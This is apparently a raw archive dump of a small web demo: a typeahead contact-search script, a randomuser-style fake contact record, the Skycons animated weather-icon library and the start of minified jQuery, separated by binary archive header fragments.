this.el.addEventListener('mouseout', this.up.bind(this)); } else { this.el.addEventListener('click', this.toggle.bind(this)); } }; SVGInput.prototype.down = function () { this.pathEl.stop().animate({ 'path': this.paths.active }, 150, mina.easein); }; SVGInput.prototype.up = function () { this.pathEl.stop().animate({ 'path': this.paths.reset }, 1000, mina.elastic); }; SVGInput.prototype.toggle = function () { var self = this; this.pathEl.stop().animate({ 'path': this.paths.active }, 200, mina.easein, function () { self.pathEl.stop().animate({ 'path': self.paths.reset }, 600, mina.elastic); }); };[].slice.call(document.querySelectorAll('.input-wrap')).forEach(function (el) { new SVGInput(el); }); })(); }); var name, picture, l_picture, email, phone, user_name, state; var contactList = new Bloodhound({ datumTokenizer: Bloodhound.tokenizers.obj.whitespace(tags), queryTokenizer: Bloodhound.tokenizers.whitespace, minLength: 1, prefetch: { url: 'data/contacts_2.json', transform: function (response) { return $.map(response, function (tag) { return { name: tag.name.first + " " + tag.name.last, picture: tag.picture.thumbnail, l_picture: tag.picture.large, email: tag.email, phone: tag.phone, user_name: tag.login.username, state: tag.location.state + ", " + tag.nat } }); }, cache: false, ttl: 3600000, }, }); $('.typeahead').typeahead(null, { name: 'name', display: 'name', source: contactList, templates: { empty: ['<div class="empty-message">', 'Opération non disponible dans votre région.', '</div>'].join(''), suggestion: Handlebars.compile('<div class="ui selection large inverted list kisilist"><div class="item"> <img class="ui avatar image personimage" src="{{picture}}"><div class="content"><div class="header">{{name}}</div><div class="description gorevyeri">{{user_name}} </div></div></div></div>'), }, hint: true }).on('typeahead:selected', function ($e, datum) { $('#info_modal').addClass('visible'); $('.ui.modal').modal({ onShow: function () { $(".close-icon").hide(); }, onHidden: function () { $(".close-icon").show(); } }).modal('setting', 'transition', 'fade up').modal('show'); $(".md_header").html(datum["name"]); $(".md_state").html("State: " + datum["state"]); $(".md-mail_adr").html(datum["email"]); $(".md_phone").html("Phone: " + datum["phone"]); $(".md_username").html(datum["user_name"]); $(".send_mail").attr("href", "mailto:" + datum["email"]); $(".avatar_img").attr("src", datum["l_picture"]); }).on('typeahead:asyncrequest', function () { $(".loader").hide(); }).on('typeahead:asynccancel typeahead:asyncreceive', function () { $(".loader").show(); });; $(document).ajaxComplete(function (event, jqXHR, settings) { $(".loader").hide(); $(".tt-menu").addClass("arrow_box4"); $(".cleard").hide(); }); $('.typeahead').on('keydown', function (e) { $(".cleard").hide(); }); $(".typeahead").on('input', function (e) { $(".cleard").show(); }); $(".cleard").click(function () { $(".cleard").hide(); $('.typeahead').typeahead('val', ''); $(".typeahead").focus(); });PK!�XVZZjs/database.jsonnu&1i�[
  {
    "gender": "female",
    "name": {
      "title": "madame",
      "first": "lylou",
      "last": "thomas"
    },
    "location": {
      "street": "5933 rue d'abbeville",
      "city": "sottens",
      "state": "genève",
      "postcode": 4045
    },
    "email": "lylou.thomas@example.com",
    "login": {
      "username": "orangemouse111",
      "password": "asdfjkl",
      "salt": "PmkaTArn",
      "md5": "e923e268a9a0ea6ccf402905d7a83f75",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "1959-06-15 22:30:39",
    "registered": "2002-12-27 17:50:02",
    "phone": "(772)-966-5431",
    "cell": "(505)-943-4344",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://randomuser.me/api/portraits/women/17.jpg",
      "medium": "https://randomuser.me/api/portraits/med/women/17.jpg",
      "thumbnail": "https://randomuser.me/api/portraits/thumb/women/17.jpg"
    },
    "nat": "CH"
  }
]PK!�QJQJ
js/skycons.jsnu&1i�(function(global) {
  "use strict";

  /* Set up a RequestAnimationFrame shim so we can animate efficiently FOR
   * GREAT JUSTICE. */
  var requestInterval, cancelInterval;

  (function() {
    var raf = global.requestAnimationFrame       ||
              global.webkitRequestAnimationFrame ||
              global.mozRequestAnimationFrame    ||
              global.oRequestAnimationFrame      ||
              global.msRequestAnimationFrame     ,
        caf = global.cancelAnimationFrame        ||
              global.webkitCancelAnimationFrame  ||
              global.mozCancelAnimationFrame     ||
              global.oCancelAnimationFrame       ||
              global.msCancelAnimationFrame      ;

    if(raf && caf) {
      requestInterval = function(fn, delay) {
        var handle = {value: null};

        function loop() {
          handle.value = raf(loop);
          fn();
        }

        loop();
        return handle;
      };

      cancelInterval = function(handle) {
        caf(handle.value);
      };
    }

    else {
      requestInterval = setInterval;
      cancelInterval = clearInterval;
    }
  }());

  /* Catmull-rom spline stuffs. */
  /*
  function upsample(n, spline) {
    var polyline = [],
        len = spline.length,
        bx  = spline[0],
        by  = spline[1],
        cx  = spline[2],
        cy  = spline[3],
        dx  = spline[4],
        dy  = spline[5],
        i, j, ax, ay, px, qx, rx, sx, py, qy, ry, sy, t;

    for(i = 6; i !== spline.length; i += 2) {
      ax = bx;
      bx = cx;
      cx = dx;
      dx = spline[i    ];
      px = -0.5 * ax + 1.5 * bx - 1.5 * cx + 0.5 * dx;
      qx =        ax - 2.5 * bx + 2.0 * cx - 0.5 * dx;
      rx = -0.5 * ax            + 0.5 * cx           ;
      sx =                   bx                      ;

      ay = by;
      by = cy;
      cy = dy;
      dy = spline[i + 1];
      py = -0.5 * ay + 1.5 * by - 1.5 * cy + 0.5 * dy;
      qy =        ay - 2.5 * by + 2.0 * cy - 0.5 * dy;
      ry = -0.5 * ay            + 0.5 * cy           ;
      sy =                   by                      ;

      for(j = 0; j !== n; ++j) {
        t = j / n;

        polyline.push(
          ((px * t + qx) * t + rx) * t + sx,
          ((py * t + qy) * t + ry) * t + sy
        );
      }
    }

    polyline.push(
      px + qx + rx + sx,
      py + qy + ry + sy
    );

    return polyline;
  }

  function downsample(n, polyline) {
    var len = 0,
        i, dx, dy;

    for(i = 2; i !== polyline.length; i += 2) {
      dx = polyline[i    ] - polyline[i - 2];
      dy = polyline[i + 1] - polyline[i - 1];
      len += Math.sqrt(dx * dx + dy * dy);
    }

    len /= n;

    var small = [],
        target = len,
        min = 0,
        max, t;

    small.push(polyline[0], polyline[1]);

    for(i = 2; i !== polyline.length; i += 2) {
      dx = polyline[i    ] - polyline[i - 2];
      dy = polyline[i + 1] - polyline[i - 1];
      max = min + Math.sqrt(dx * dx + dy * dy);

      if(max > target) {
        t = (target - min) / (max - min);

        small.push(
          polyline[i - 2] + dx * t,
          polyline[i - 1] + dy * t
        );

        target += len;
      }

      min = max;
    }

    small.push(polyline[polyline.length - 2], polyline[polyline.length - 1]);

    return small;
  }
  */

  /* Define skycon things. */
  /* FIXME: I'm *really really* sorry that this code is so gross. Really, I am.
   * I'll try to clean it up eventually! Promise! */
  var KEYFRAME = 500,
      STROKE = 0.08,
      TAU = 2.0 * Math.PI,
      TWO_OVER_SQRT_2 = 2.0 / Math.sqrt(2);

  function circle(ctx, x, y, r) {
    ctx.beginPath();
    ctx.arc(x, y, r, 0, TAU, false);
    ctx.fill();
  }

  function line(ctx, ax, ay, bx, by) {
    ctx.beginPath();
    ctx.moveTo(ax, ay);
    ctx.lineTo(bx, by);
    ctx.stroke();
  }

  function puff(ctx, t, cx, cy, rx, ry, rmin, rmax) {
    var c = Math.cos(t * TAU),
        s = Math.sin(t * TAU);

    rmax -= rmin;

    circle(
      ctx,
      cx - s * rx,
      cy + c * ry + rmax * 0.5,
      rmin + (1 - c * 0.5) * rmax
    );
  }

  function puffs(ctx, t, cx, cy, rx, ry, rmin, rmax) {
    var i;

    for(i = 5; i--; )
      puff(ctx, t + i / 5, cx, cy, rx, ry, rmin, rmax);
  }

  function cloud(ctx, t, cx, cy, cw, s, color) {
    t /= 30000;

    var a = cw * 0.21,
        b = cw * 0.12,
        c = cw * 0.24,
        d = cw * 0.28;

    ctx.fillStyle = color;
    puffs(ctx, t, cx, cy, a, b, c, d);

    ctx.globalCompositeOperation = 'destination-out';
    puffs(ctx, t, cx, cy, a, b, c - s, d - s);
    ctx.globalCompositeOperation = 'source-over';
  }

  function sun(ctx, t, cx, cy, cw, s, color) {
    t /= 120000;

    var a = cw * 0.25 - s * 0.5,
        b = cw * 0.32 + s * 0.5,
        c = cw * 0.50 - s * 0.5,
        i, p, cos, sin;

    ctx.strokeStyle = color;
    ctx.lineWidth = s;
    ctx.lineCap = "round";
    ctx.lineJoin = "round";

    ctx.beginPath();
    ctx.arc(cx, cy, a, 0, TAU, false);
    ctx.stroke();

    for(i = 8; i--; ) {
      p = (t + i / 8) * TAU;
      cos = Math.cos(p);
      sin = Math.sin(p);
      line(ctx, cx + cos * b, cy + sin * b, cx + cos * c, cy + sin * c);
    }
  }

  function moon(ctx, t, cx, cy, cw, s, color) {
    t /= 15000;

    var a = cw * 0.29 - s * 0.5,
        b = cw * 0.05,
        c = Math.cos(t * TAU),
        p = c * TAU / -16;

    ctx.strokeStyle = color;
    ctx.lineWidth = s;
    ctx.lineCap = "round";
    ctx.lineJoin = "round";

    cx += c * b;

    ctx.beginPath();
    ctx.arc(cx, cy, a, p + TAU / 8, p + TAU * 7 / 8, false);
    ctx.arc(cx + Math.cos(p) * a * TWO_OVER_SQRT_2, cy + Math.sin(p) * a * TWO_OVER_SQRT_2, a, p + TAU * 5 / 8, p + TAU * 3 / 8, true);
    ctx.closePath();
    ctx.stroke();
  }

  function rain(ctx, t, cx, cy, cw, s, color) {
    t /= 1350;

    var a = cw * 0.16,
        b = TAU * 11 / 12,
        c = TAU *  7 / 12,
        i, p, x, y;

    ctx.fillStyle = color;

    for(i = 4; i--; ) {
      p = (t + i / 4) % 1;
      x = cx + ((i - 1.5) / 1.5) * (i === 1 || i === 2 ? -1 : 1) * a;
      y = cy + p * p * cw;
      ctx.beginPath();
      ctx.moveTo(x, y - s * 1.5);
      ctx.arc(x, y, s * 0.75, b, c, false);
      ctx.fill();
    }
  }

  function sleet(ctx, t, cx, cy, cw, s, color) {
    t /= 750;

    var a = cw * 0.1875,
        b = TAU * 11 / 12,
        c = TAU *  7 / 12,
        i, p, x, y;

    ctx.strokeStyle = color;
    ctx.lineWidth = s * 0.5;
    ctx.lineCap = "round";
    ctx.lineJoin = "round";

    for(i = 4; i--; ) {
      p = (t + i / 4) % 1;
      x = Math.floor(cx + ((i - 1.5) / 1.5) * (i === 1 || i === 2 ? -1 : 1) * a) + 0.5;
      y = cy + p * cw;
      line(ctx, x, y - s * 1.5, x, y + s * 1.5);
    }
  }

  function snow(ctx, t, cx, cy, cw, s, color) {
    t /= 3000;

    var a  = cw * 0.16,
        b  = s * 0.75,
        u  = t * TAU * 0.7,
        ux = Math.cos(u) * b,
        uy = Math.sin(u) * b,
        v  = u + TAU / 3,
        vx = Math.cos(v) * b,
        vy = Math.sin(v) * b,
        w  = u + TAU * 2 / 3,
        wx = Math.cos(w) * b,
        wy = Math.sin(w) * b,
        i, p, x, y;

    ctx.strokeStyle = color;
    ctx.lineWidth = s * 0.5;
    ctx.lineCap = "round";
    ctx.lineJoin = "round";

    for(i = 4; i--; ) {
      p = (t + i / 4) % 1;
      x = cx + Math.sin((p + i / 4) * TAU) * a;
      y = cy + p * cw;

      line(ctx, x - ux, y - uy, x + ux, y + uy);
      line(ctx, x - vx, y - vy, x + vx, y + vy);
      line(ctx, x - wx, y - wy, x + wx, y + wy);
    }
  }

  function fogbank(ctx, t, cx, cy, cw, s, color) {
    t /= 30000;

    var a = cw * 0.21,
        b = cw * 0.06,
        c = cw * 0.21,
        d = cw * 0.28;

    ctx.fillStyle = color;
    puffs(ctx, t, cx, cy, a, b, c, d);

    ctx.globalCompositeOperation = 'destination-out';
    puffs(ctx, t, cx, cy, a, b, c - s, d - s);
    ctx.globalCompositeOperation = 'source-over';
  }

  /*
  var WIND_PATHS = [
        downsample(63, upsample(8, [
          -1.00, -0.28,
          -0.75, -0.18,
          -0.50,  0.12,
          -0.20,  0.12,
          -0.04, -0.04,
          -0.07, -0.18,
          -0.19, -0.18,
          -0.23, -0.05,
          -0.12,  0.11,
           0.02,  0.16,
           0.20,  0.15,
           0.50,  0.07,
           0.75,  0.18,
           1.00,  0.28
        ])),
        downsample(31, upsample(16, [
          -1.00, -0.10,
          -0.75,  0.00,
          -0.50,  0.10,
          -0.25,  0.14,
           0.00,  0.10,
           0.25,  0.00,
           0.50, -0.10,
           0.75, -0.14,
           1.00, -0.10
        ]))
      ];
  */

  var WIND_PATHS = [
        [
          -0.7500, -0.1800, -0.7219, -0.1527, -0.6971, -0.1225,
          -0.6739, -0.0910, -0.6516, -0.0588, -0.6298, -0.0262,
          -0.6083,  0.0065, -0.5868,  0.0396, -0.5643,  0.0731,
          -0.5372,  0.1041, -0.5033,  0.1259, -0.4662,  0.1406,
          -0.4275,  0.1493, -0.3881,  0.1530, -0.3487,  0.1526,
          -0.3095,  0.1488, -0.2708,  0.1421, -0.2319,  0.1342,
          -0.1943,  0.1217, -0.1600,  0.1025, -0.1290,  0.0785,
          -0.1012,  0.0509, -0.0764,  0.0206, -0.0547, -0.0120,
          -0.0378, -0.0472, -0.0324, -0.0857, -0.0389, -0.1241,
          -0.0546, -0.1599, -0.0814, -0.1876, -0.1193, -0.1964,
          -0.1582, -0.1935, -0.1931, -0.1769, -0.2157, -0.1453,
          -0.2290, -0.1085, -0.2327, -0.0697, -0.2240, -0.0317,
          -0.2064,  0.0033, -0.1853,  0.0362, -0.1613,  0.0672,
          -0.1350,  0.0961, -0.1051,  0.1213, -0.0706,  0.1397,
          -0.0332,  0.1512,  0.0053,  0.1580,  0.0442,  0.1624,
           0.0833,  0.1636,  0.1224,  0.1615,  0.1613,  0.1565,
           0.1999,  0.1500,  0.2378,  0.1402,  0.2749,  0.1279,
           0.3118,  0.1147,  0.3487,  0.1015,  0.3858,  0.0892,
           0.4236,  0.0787,  0.4621,  0.0715,  0.5012,  0.0702,
           0.5398,  0.0766,  0.5768,  0.0890,  0.6123,  0.1055,
           0.6466,  0.1244,  0.6805,  0.1440,  0.7147,  0.1630,
           0.7500,  0.1800
        ],
        [
          -0.7500,  0.0000, -0.7033,  0.0195, -0.6569,  0.0399,
          -0.6104,  0.0600, -0.5634,  0.0789, -0.5155,  0.0954,
          -0.4667,  0.1089, -0.4174,  0.1206, -0.3676,  0.1299,
          -0.3174,  0.1365, -0.2669,  0.1398, -0.2162,  0.1391,
          -0.1658,  0.1347, -0.1157,  0.1271, -0.0661,  0.1169,
          -0.0170,  0.1046,  0.0316,  0.0903,  0.0791,  0.0728,
           0.1259,  0.0534,  0.1723,  0.0331,  0.2188,  0.0129,
           0.2656, -0.0064,  0.3122, -0.0263,  0.3586, -0.0466,
           0.4052, -0.0665,  0.4525, -0.0847,  0.5007, -0.1002,
           0.5497, -0.1130,  0.5991, -0.1240,  0.6491, -0.1325,
           0.6994, -0.1380,  0.7500, -0.1400
        ]
      ],
      WIND_OFFSETS = [
        {start: 0.36, end: 0.11},
        {start: 0.56, end: 0.16}
      ];

  function leaf(ctx, t, x, y, cw, s, color) {
    var a = cw / 8,
        b = a / 3,
        c = 2 * b,
        d = (t % 1) * TAU,
        e = Math.cos(d),
        f = Math.sin(d);

    ctx.fillStyle = color;
    ctx.strokeStyle = color;
    ctx.lineWidth = s;
    ctx.lineCap = "round";
    ctx.lineJoin = "round";

    ctx.beginPath();
    ctx.arc(x        , y        , a, d          , d + Math.PI, false);
    ctx.arc(x - b * e, y - b * f, c, d + Math.PI, d          , false);
    ctx.arc(x + c * e, y + c * f, b, d + Math.PI, d          , true );
    ctx.globalCompositeOperation = 'destination-out';
    ctx.fill();
    ctx.globalCompositeOperation = 'source-over';
    ctx.stroke();
  }

  function swoosh(ctx, t, cx, cy, cw, s, index, total, color) {
    t /= 2500;

    var path = WIND_PATHS[index],
        a = (t + index - WIND_OFFSETS[index].start) % total,
        c = (t + index - WIND_OFFSETS[index].end  ) % total,
        e = (t + index                            ) % total,
        b, d, f, i;

    ctx.strokeStyle = color;
    ctx.lineWidth = s;
    ctx.lineCap = "round";
    ctx.lineJoin = "round";

    if(a < 1) {
      ctx.beginPath();

      a *= path.length / 2 - 1;
      b  = Math.floor(a);
      a -= b;
      b *= 2;
      b += 2;

      ctx.moveTo(
        cx + (path[b - 2] * (1 - a) + path[b    ] * a) * cw,
        cy + (path[b - 1] * (1 - a) + path[b + 1] * a) * cw
      );

      if(c < 1) {
        c *= path.length / 2 - 1;
        d  = Math.floor(c);
        c -= d;
        d *= 2;
        d += 2;

        for(i = b; i !== d; i += 2)
          ctx.lineTo(cx + path[i] * cw, cy + path[i + 1] * cw);

        ctx.lineTo(
          cx + (path[d - 2] * (1 - c) + path[d    ] * c) * cw,
          cy + (path[d - 1] * (1 - c) + path[d + 1] * c) * cw
        );
      }

      else
        for(i = b; i !== path.length; i += 2)
          ctx.lineTo(cx + path[i] * cw, cy + path[i + 1] * cw);

      ctx.stroke();
    }

    else if(c < 1) {
      ctx.beginPath();

      c *= path.length / 2 - 1;
      d  = Math.floor(c);
      c -= d;
      d *= 2;
      d += 2;

      ctx.moveTo(cx + path[0] * cw, cy + path[1] * cw);

      for(i = 2; i !== d; i += 2)
        ctx.lineTo(cx + path[i] * cw, cy + path[i + 1] * cw);

      ctx.lineTo(
        cx + (path[d - 2] * (1 - c) + path[d    ] * c) * cw,
        cy + (path[d - 1] * (1 - c) + path[d + 1] * c) * cw
      );

      ctx.stroke();
    }

    if(e < 1) {
      e *= path.length / 2 - 1;
      f  = Math.floor(e);
      e -= f;
      f *= 2;
      f += 2;

      leaf(
        ctx,
        t,
        cx + (path[f - 2] * (1 - e) + path[f    ] * e) * cw,
        cy + (path[f - 1] * (1 - e) + path[f + 1] * e) * cw,
        cw,
        s,
        color
      );
    }
  }

  var Skycons = function(opts) {
        this.list        = [];
        this.interval    = null;
        this.color       = opts && opts.color ? opts.color : "black";
        this.resizeClear = !!(opts && opts.resizeClear);
      };

  Skycons.CLEAR_DAY = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h);

    sun(ctx, t, w * 0.5, h * 0.5, s, s * STROKE, color);
  };

  Skycons.CLEAR_NIGHT = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h);

    moon(ctx, t, w * 0.5, h * 0.5, s, s * STROKE, color);
  };

  Skycons.PARTLY_CLOUDY_DAY = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h);

    sun(ctx, t, w * 0.625, h * 0.375, s * 0.75, s * STROKE, color);
    cloud(ctx, t, w * 0.375, h * 0.625, s * 0.75, s * STROKE, color);
  };

  Skycons.PARTLY_CLOUDY_NIGHT = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h);

    moon(ctx, t, w * 0.667, h * 0.375, s * 0.75, s * STROKE, color);
    cloud(ctx, t, w * 0.375, h * 0.625, s * 0.75, s * STROKE, color);
  };

  Skycons.CLOUDY = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h);

    cloud(ctx, t, w * 0.5, h * 0.5, s, s * STROKE, color);
  };

  Skycons.RAIN = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h);

    rain(ctx, t, w * 0.5, h * 0.37, s * 0.9, s * STROKE, color);
    cloud(ctx, t, w * 0.5, h * 0.37, s * 0.9, s * STROKE, color);
  };

  Skycons.SLEET = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h);

    sleet(ctx, t, w * 0.5, h * 0.37, s * 0.9, s * STROKE, color);
    cloud(ctx, t, w * 0.5, h * 0.37, s * 0.9, s * STROKE, color);
  };

  Skycons.SNOW = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h);

    snow(ctx, t, w * 0.5, h * 0.37, s * 0.9, s * STROKE, color);
    cloud(ctx, t, w * 0.5, h * 0.37, s * 0.9, s * STROKE, color);
  };

  Skycons.WIND = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h);

    swoosh(ctx, t, w * 0.5, h * 0.5, s, s * STROKE, 0, 2, color);
    swoosh(ctx, t, w * 0.5, h * 0.5, s, s * STROKE, 1, 2, color);
  };

  Skycons.FOG = function(ctx, t, color) {
    var w = ctx.canvas.width,
        h = ctx.canvas.height,
        s = Math.min(w, h),
        k = s * STROKE;

    fogbank(ctx, t, w * 0.5, h * 0.32, s * 0.75, k, color);

    t /= 5000;

    var a = Math.cos((t       ) * TAU) * s * 0.02,
        b = Math.cos((t + 0.25) * TAU) * s * 0.02,
        c = Math.cos((t + 0.50) * TAU) * s * 0.02,
        d = Math.cos((t + 0.75) * TAU) * s * 0.02,
        n = h * 0.936,
        e = Math.floor(n - k * 0.5) + 0.5,
        f = Math.floor(n - k * 2.5) + 0.5;

    ctx.strokeStyle = color;
    ctx.lineWidth = k;
    ctx.lineCap = "round";
    ctx.lineJoin = "round";

    line(ctx, a + w * 0.2 + k * 0.5, e, b + w * 0.8 - k * 0.5, e);
    line(ctx, c + w * 0.2 + k * 0.5, f, d + w * 0.8 - k * 0.5, f);
  };

  Skycons.prototype = {
    _determineDrawingFunction: function(draw) {
      if(typeof draw === "string")
        draw = Skycons[draw.toUpperCase().replace(/-/g, "_")] || null;

      return draw;
    },
    add: function(el, draw) {
      var obj;

      if(typeof el === "string")
        el = document.getElementById(el);

      // Does nothing if canvas name doesn't exists
      if(el === null)
        return;

      draw = this._determineDrawingFunction(draw);

      // Does nothing if the draw function isn't actually a function
      if(typeof draw !== "function")
        return;

      obj = {
        element: el,
        context: el.getContext("2d"),
        drawing: draw
      };

      this.list.push(obj);
      this.draw(obj, KEYFRAME);
    },
    set: function(el, draw) {
      var i;

      if(typeof el === "string")
        el = document.getElementById(el);

      for(i = this.list.length; i--; )
        if(this.list[i].element === el) {
          this.list[i].drawing = this._determineDrawingFunction(draw);
          this.draw(this.list[i], KEYFRAME);
          return;
        }

      this.add(el, draw);
    },
    remove: function(el) {
      var i;

      if(typeof el === "string")
        el = document.getElementById(el);

      for(i = this.list.length; i--; )
        if(this.list[i].element === el) {
          this.list.splice(i, 1);
          return;
        }
    },
    draw: function(obj, time) {
      var canvas = obj.context.canvas;

      if(this.resizeClear)
        canvas.width = canvas.width;

      else
        obj.context.clearRect(0, 0, canvas.width, canvas.height);

      obj.drawing(obj.context, time, this.color);
    },
    play: function() {
      var self = this;

      this.pause();
      this.interval = requestInterval(function() {
        var now = Date.now(),
            i;

        for(i = self.list.length; i--; )
          self.draw(self.list[i], now);
      }, 1000 / 60);
    },
    pause: function() {
      var i;

      if(this.interval) {
        cancelInterval(this.interval);
        this.interval = null;
      }
    }
  };

  global.Skycons = Skycons;
}(this));
PK!)G�9��
js/main.jsnu&1i�'use strict'
$(document).ready(function () {
    var colors = ["#F25F5C", "#247BA0", "#8e44ad", "#ED6A5A", "#32936F", "#2c3e50", "#E83F6F", "#32936F", "#2E294E"];
    var rand = Math.floor(Math.random() * colors.length);
    $('body').css("background-color", colors[rand]);
    //background color change function
    $(".color-tool li a").on("click", function () {
        var colr = $(this).data("color");
        $("body").css("background", colr);
    });
    //Elastic Search Input Initalize
    (function () {
        function SVGInput(el, options) {
            this.el = el;
            this.inputEl = this.el.querySelector('input');
            this.init();
        }
        SVGInput.prototype.init = function () {
            this.shapeEl = this.el.querySelector('span.morph-shape');
            var s = Snap(this.shapeEl.querySelector('svg'));
            this.pathEl = s.select('path');
            this.paths = {
                reset: this.pathEl.attr('d'),
                active: this.shapeEl.getAttribute('data-morph-active')
            };
            this.initEvents();
        };
        SVGInput.prototype.initEvents = function () {
            if (this.inputEl.type === 'checkbox' || this.inputEl.type === 'radio') {
                this.el.addEventListener('mousedown', this.down.bind(this));
                this.el.addEventListener('touchstart', this.down.bind(this));
                this.el.addEventListener('mouseup', this.up.bind(this));
                this.el.addEventListener('touchend', this.up.bind(this));
                this.el.addEventListener('mouseout', this.up.bind(this));
            } else {
                this.el.addEventListener('click', this.toggle.bind(this));
            }
        };
        SVGInput.prototype.down = function () {
            this.pathEl.stop().animate({
                'path': this.paths.active
            }, 150, mina.easein);
        };
        SVGInput.prototype.up = function () {
            this.pathEl.stop().animate({
                'path': this.paths.reset
            }, 1000, mina.elastic);
        };
        SVGInput.prototype.toggle = function () {
            var self = this;
            this.pathEl.stop().animate({
                'path': this.paths.active
            }, 200, mina.easein, function () {
                self.pathEl.stop().animate({
                    'path': self.paths.reset
                }, 600, mina.elastic);
            });
        };
        [].slice.call(document.querySelectorAll('.input-wrap')).forEach(function (el) {
            new SVGInput(el);
        });
    })();
    //Elastic Search Input Initalize
});
var name, picture, l_picture, email, phone, user_name, state;

var contactList = new Bloodhound({
    datumTokenizer: Bloodhound.tokenizers.obj.whitespace(tags),
    queryTokenizer: Bloodhound.tokenizers.whitespace,
    minLength: 1,
    prefetch: {
        url: 'data/contacts_2.json',
        transform: function (response) {
            return $.map(response, function (tag) {
                return {
                    name: tag.name.first + " " + tag.name.last,
                    picture: tag.picture.thumbnail,
                    l_picture: tag.picture.large,
                    email: tag.email,
                    phone: tag.phone,
                    user_name: tag.login.username,
                    state: tag.location.state + ", " + tag.nat
                }
            });
        },
        cache: false,
        ttl: 3600000,
    },
});
$('.typeahead').typeahead(null, {
    name: 'name',
    display: 'name',
    source: contactList,
    templates: {
        empty: ['<div class="empty-message">', 'Not Found..', '</div>'].join('\n'),
        suggestion: Handlebars.compile('<div class="ui selection large inverted list kisilist"><div class="item"> <img class="ui avatar image personimage" src="{{picture}}"><div class="content"><div class="header">{{name}}</div><div class="description gorevyeri">+{{user_name}} </div></div></div></div>'),//dropdown template
    },
    hint: true
}).on('typeahead:selected', function ($e, datum) {
    $('#info_modal').addClass('visible');
    $('.ui.modal').modal({
        onShow: function () {
            $(".close-icon").hide();
        },
        onHidden: function () {
            $(".close-icon").show();
        }
    }).modal('setting', 'transition', 'fade up').modal('show');
    $(".md_header").html(datum["name"]);
    $(".md_state").html("State: " + datum["state"]);
    $(".md-mail_adr").html(datum["email"]);
    $(".md_phone").html("Phone: " + datum["phone"]);
    $(".md_username").html(datum["user_name"]);
    $(".send_mail").attr("href", "mailto:" + datum["email"]);
    $(".avatar_img").attr("src", datum["l_picture"]);
}).on('typeahead:asyncrequest', function () {
    $(".loader").hide();
}).on('typeahead:asynccancel typeahead:asyncreceive', function () {
    $(".loader").show();
});;
$(document).ajaxComplete(function (event, jqXHR, settings) {
    $(".loader").hide();
    $(".tt-menu").addClass("arrow_box4");
    $(".cleard").hide();
});
$('.typeahead').on('keydown', function (e) {
    $(".cleard").hide();
});
$(".typeahead").on('input', function (e) {
    $(".cleard").show();
});
$(".cleard").click(function () {
    $(".cleard").hide();
    $('.typeahead').typeahead('val', '');
    $(".typeahead").focus();
});PK!~���R�Rjs/jquery-3.1.1.min.jsnu&1i�/*! jQuery v3.1.1 | (c) jQuery Foundation | jquery.org/license */
!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i&&(g=this,h--);h<i;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(r.isPlainObject(d)||(e=r.isArray(d)))?(e?(e=!1,f=c&&r.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)&&!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||"[object Object]"!==k.call(a))&&(!(b=e(a))||(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},nodeName:function(a,b){return 